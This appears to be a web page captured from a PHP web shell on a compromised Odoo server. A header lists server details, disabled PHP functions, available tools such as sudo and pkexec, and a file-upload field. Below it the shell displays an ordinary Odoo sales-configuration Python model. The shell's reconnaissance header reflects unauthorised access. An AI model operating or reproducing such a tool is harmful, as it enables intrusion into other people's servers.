Server IP : 127.0.0.2 / Your IP : 18.222.34.209 Web Server : Apache/2.4.18 (Ubuntu) System : User : www-data ( ) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /opt/odoo/addons/sale_stock/models/ |
Upload File : |
# -*- coding: utf-8 -*- # Part of Odoo. See LICENSE file for full copyright and licensing details. from odoo import api, fields, models class SaleConfiguration(models.TransientModel): _inherit = 'sale.config.settings' security_lead = fields.Float(related='company_id.security_lead', string="Sales Safety Days *") module_delivery = fields.Selection([ (0, 'No shipping costs on sales orders'), (1, 'Allow adding shipping costs') ], "Shipping") default_picking_policy = fields.Selection([ (0, 'Ship products when some are available, and allow back orders'), (1, 'Ship all products at once, without back orders') ], "Default Shipping Policy") group_mrp_properties = fields.Selection([ (0, "Don't use manufacturing properties (recommended as its easier)"), (1, 'Allow setting manufacturing order properties per order line (advanced)') ], "Properties on SO Lines", implied_group='sale.group_mrp_properties', help="Allows you to tag sales order lines with properties.") group_route_so_lines = fields.Selection([ (0, 'No order specific routes like MTO or drop shipping'), (1, 'Choose specific routes on sales order lines (advanced)') ], "Order Routing", implied_group='sale_stock.group_route_so_lines') module_sale_order_dates = fields.Selection([ (0, 'Procurements and deliveries dates are based on the sales order dates'), (1, 'Allow to modify the sales order dates to postpone deliveries and procurements') ], "Date") @api.model def get_default_sale_config(self, fields): default_picking_policy = self.env['ir.values'].get_default('sale.order', 'picking_policy') return { 'default_picking_policy': 1 if default_picking_policy == 'one' else 0, } @api.multi def set_sale_defaults(self): default_picking_policy = 'one' if self.default_picking_policy else 'direct' self.env['ir.values'].sudo().set_default('sale.order', 'picking_policy', default_picking_policy) return super(SaleConfiguration, self).set_sale_defaults()